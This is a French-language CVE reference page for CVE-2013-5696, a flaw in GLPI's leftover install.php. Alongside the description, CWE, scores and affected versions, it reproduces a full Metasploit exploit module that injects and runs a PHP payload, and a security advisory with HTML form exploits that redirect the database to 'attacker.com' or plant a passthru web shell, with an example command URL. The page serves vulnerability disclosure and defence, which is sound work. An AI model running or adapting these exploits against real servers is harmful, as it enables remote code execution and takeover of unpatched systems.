CVE-2013-5696 : Détail

CVE-2013-5696

Cross-Site Request Forgery - CSRF
A01-Broken Access Control
22.07%V3
Network
2013-09-23
01h00 +00:00
2024-09-16
16h17 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

inc/central.class.php in GLPI before 0.84.2 does not attempt to make install/install.php unavailable after an installation is completed, which allows remote attackers to conduct cross-site request forgery (CSRF) attacks, and (1) perform a SQL injection via an Etape_4 action or (2) execute arbitrary PHP code via an update_1 action.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-352 Cross-Site Request Forgery (CSRF)
The web application does not, or can not, sufficiently verify whether a well-formed, valid, consistent request was intentionally provided by the user who submitted the request.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 6.8 AV:N/AC:M/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 28483

Date de publication : 2013-09-22 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ManualRanking # Application database configuration is overwritten include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'GLPI install.php Remote Command Execution', 'Description' => %q{ This module exploits an arbitrary command execution vulnerability in the GLPI 'install.php' script. Users should use this exploit at his own risk, since it's going to overwrite database configuration. }, 'Author' => [ 'Tristan Leiter < research[at]navixia.com >', # Navixia Research Team ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2013-5696' ], [ 'URL', 'https://www.navixia.com/blog/entry/navixia-finds-critical-vulnerabilities-in-glpi-cve-2013-5696.html' ], [ 'URL', 'http://www.glpi-project.org/forum/viewtopic.php?id=33762' ], ], 'Privileged' => false, 'Platform' => ['php'], 'Payload' => { 'Space' => 4000, 'BadChars' => "#", 'DisableNops' => true, 'Keys' => ['php'] }, 'Arch' => ARCH_PHP, 'Targets' => [[ 'GLPI 0.84 or older', { }]], 'DisclosureDate' => 'Sep 12 2013', 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The base path to GLPI', '/glpi/']) ], self.class) end def uri return target_uri.path end def check # Check if the GLPI instance is vulnerable res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, 'index.php'), }) if not res or res.code != 200 return Exploit::CheckCode::Safe end re = '(version)(\\s+)(.*)(\\s+)(Copyright)' m = Regexp.new(re, Regexp::IGNORECASE) matched = m.match(res.body) if matched and matched[3] =~ /0.(8[0-4].[0-1])|([0-7][0-9].[0-9])/ print_good("Detected Version : #{matched[3]}") return Exploit::CheckCode::Appears elsif matched print_error("Version #{matched[3]} is not vulnerable") end return Exploit::CheckCode::Safe end def exploit print_status("Injecting the payload...") rand_arg = Rex::Text.rand_text_hex(10) res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(uri, 'install/install.php'), 'vars_post' => { 'install' => 'update_1', 'db_host' => 'localhost', 'db_user' => 'root', 'db_pass' => 'root', 'databasename' =>"'; } if(isset($_GET['#{rand_arg}'])){ #{payload.encoded} } /*" } }) unless res and res.code == 200 and res.body =~ /You will update the GLPI database/ print_warning("Unexpected response while injecting the payload, trying to execute anyway...") end print_status("Executing the payload...") send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, 'index.php'), 'vars_get' => { rand_arg => '1', } }) end end
Exploit Database EDB-ID : 28685

Date de publication : 2013-10-01 22h00 +00:00
Auteur : High-Tech Bridge SA
EDB Vérifié : Yes

Advisory ID: HTB23173 Product: GLPI Vendor: INDEPNET Vulnerable Version(s): 0.84.1 and probably prior Tested Version: 0.84.1 Advisory Publication: September 11, 2013 [without technical details] Vendor Notification: September 11, 2013 Vendor Patch: September 12, 2013 Public Disclosure: October 2, 2013 Vulnerability Type: Improper Access Control [CWE-284],Code Injection [CWE-94] CVE Reference: CVE-2013-5696 Risk Level: Critical CVSSv2 Base Scores: 6.4 (AV:N/AC:L/Au:N/C:N/I:P/A:P), 10 (AV:N/AC:L/Au:N/C:C/I:C/A:C) Solution Status: Fixed by Vendor Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) ------------------------------------------------------------------------ ----------------------- Advisory Details: High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in GLPI, which can be exploited to bypass security restrictions and execute arbitrary PHP code with privileges of web server. 1) Improper Access Control in GLPI The vulnerability exists due to insufficient access restrictions to the installation script "/install/install.php", which is present by default after application installation. A remote attacker can change applicationâ??s configuration, such as database host, forcing the application to connect to an external database and spoof information on the website, obtain access to sensitive information or simply cause a denial of service. Simple exploit below changes the database hostname to "attacker.com", which forces the application to connect to a malicious database controlled by the attacker: <form action="http://[host]/install/install.php" method="post" name="main"> <input type="hidden" name="install" value="update_1"> <input type="hidden" name="db_host" value="attacker.com"> <input type="submit" id="btn"> </form> 2) Arbitrary PHP Code Injection in GLPI The vulnerability exists due to insufficient validation of user-supplied input passed to the "db_host", "db_user", "db_pass", and "databasename" HTTP POST parameters via "/install/install.php" script [that is present by default after application installation] before writing data into "/config_db.php" file. A remote attacker can inject and execute arbitrary PHP code on the vulnerable system. Simple exploit below injects "passthru($_GET['cmd'])" PHP code into "config_db.php" file allowing a remote attacker to execute arbitrary system command with privileges of the web server: <form action="http://[host]/install/install.php" method="post" name="main"> <input type="hidden" name="install" value="update_1"> <input type="hidden" name="db_host" value="'; } passthru($_GET['cmd']); /*"> <input type="submit" id="btn"> </form> After that attacker can access the web shell to execute system commands via the following URL: http://[host]/index.php?cmd=ls -la; id; pwd; ------------------------------------------------------------------------ ----------------------- Solution: Update to GLPI 0.84.2 More Information: http://www.glpi-project.org/spip.php?page=annonce&id_breve=307&lang=fr https://forge.indepnet.net/issues/4480 ------------------------------------------------------------------------ ----------------------- References: [1] High-Tech Bridge Advisory HTB23173 - https://www.htbridge.com/advisory/HTB23173 - Multiple Vulnerabilities in GLPI. [2] GLPI - http://www.glpi-project.org - GLPI is the Information Resource-Manager with an additional Administration-Interface. [3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures. [4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. [5] ImmuniWeb® - http://www.htbridge.com/immuniweb/ - is High-Tech Bridge's proprietary web application security assessment solution with SaaS delivery model that combines manual and automated vulnerability testing. ------------------------------------------------------------------------ ----------------------- Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.

Products Mentioned

Configuraton 0

Glpi-project>>Glpi >> Version To (including) 0.84.1

Glpi-project>>Glpi >> Version 0.5

Glpi-project>>Glpi >> Version 0.5

Glpi-project>>Glpi >> Version 0.5

Glpi-project>>Glpi >> Version 0.6

Glpi-project>>Glpi >> Version 0.6

Glpi-project>>Glpi >> Version 0.6

Glpi-project>>Glpi >> Version 0.6

Glpi-project>>Glpi >> Version 0.20

Glpi-project>>Glpi >> Version 0.21

Glpi-project>>Glpi >> Version 0.30

Glpi-project>>Glpi >> Version 0.31

Glpi-project>>Glpi >> Version 0.40

Glpi-project>>Glpi >> Version 0.41

Glpi-project>>Glpi >> Version 0.42

Glpi-project>>Glpi >> Version 0.51

Glpi-project>>Glpi >> Version 0.51a

Glpi-project>>Glpi >> Version 0.65

Glpi-project>>Glpi >> Version 0.65

Glpi-project>>Glpi >> Version 0.65

Glpi-project>>Glpi >> Version 0.68

Glpi-project>>Glpi >> Version 0.68

Glpi-project>>Glpi >> Version 0.68

Glpi-project>>Glpi >> Version 0.68

Glpi-project>>Glpi >> Version 0.68.1

Glpi-project>>Glpi >> Version 0.68.2

Glpi-project>>Glpi >> Version 0.68.3

Glpi-project>>Glpi >> Version 0.70

Glpi-project>>Glpi >> Version 0.70

Glpi-project>>Glpi >> Version 0.70

Glpi-project>>Glpi >> Version 0.70

Glpi-project>>Glpi >> Version 0.70.1

Glpi-project>>Glpi >> Version 0.70.2

Glpi-project>>Glpi >> Version 0.71

Glpi-project>>Glpi >> Version 0.71.1

Glpi-project>>Glpi >> Version 0.71.1

Glpi-project>>Glpi >> Version 0.71.1

Glpi-project>>Glpi >> Version 0.71.1

Glpi-project>>Glpi >> Version 0.71.2

Glpi-project>>Glpi >> Version 0.71.3

Glpi-project>>Glpi >> Version 0.71.4

Glpi-project>>Glpi >> Version 0.71.5

Glpi-project>>Glpi >> Version 0.71.6

Glpi-project>>Glpi >> Version 0.72

Glpi-project>>Glpi >> Version 0.72

Glpi-project>>Glpi >> Version 0.72

Glpi-project>>Glpi >> Version 0.72

Glpi-project>>Glpi >> Version 0.72.1

Glpi-project>>Glpi >> Version 0.72.2

Glpi-project>>Glpi >> Version 0.72.3

Glpi-project>>Glpi >> Version 0.72.4

Glpi-project>>Glpi >> Version 0.78

Glpi-project>>Glpi >> Version 0.78.1

Glpi-project>>Glpi >> Version 0.78.2

Glpi-project>>Glpi >> Version 0.78.3

Glpi-project>>Glpi >> Version 0.78.4

Glpi-project>>Glpi >> Version 0.78.5

Glpi-project>>Glpi >> Version 0.80

Glpi-project>>Glpi >> Version 0.80.1

Glpi-project>>Glpi >> Version 0.80.2

Glpi-project>>Glpi >> Version 0.80.3

Glpi-project>>Glpi >> Version 0.80.4

Glpi-project>>Glpi >> Version 0.80.5

Glpi-project>>Glpi >> Version 0.80.6

Glpi-project>>Glpi >> Version 0.80.7

Glpi-project>>Glpi >> Version 0.80.61

Glpi-project>>Glpi >> Version 0.83

Glpi-project>>Glpi >> Version 0.83.1

Glpi-project>>Glpi >> Version 0.83.2

Glpi-project>>Glpi >> Version 0.83.3

Glpi-project>>Glpi >> Version 0.83.4

Glpi-project>>Glpi >> Version 0.83.5

Glpi-project>>Glpi >> Version 0.83.6

Glpi-project>>Glpi >> Version 0.83.7

Glpi-project>>Glpi >> Version 0.83.8

Glpi-project>>Glpi >> Version 0.83.9

Glpi-project>>Glpi >> Version 0.83.31

Glpi-project>>Glpi >> Version 0.83.91

Glpi-project>>Glpi >> Version 0.84

Références

https://forge.indepnet.net/issues/4480
Tags : x_refsource_CONFIRM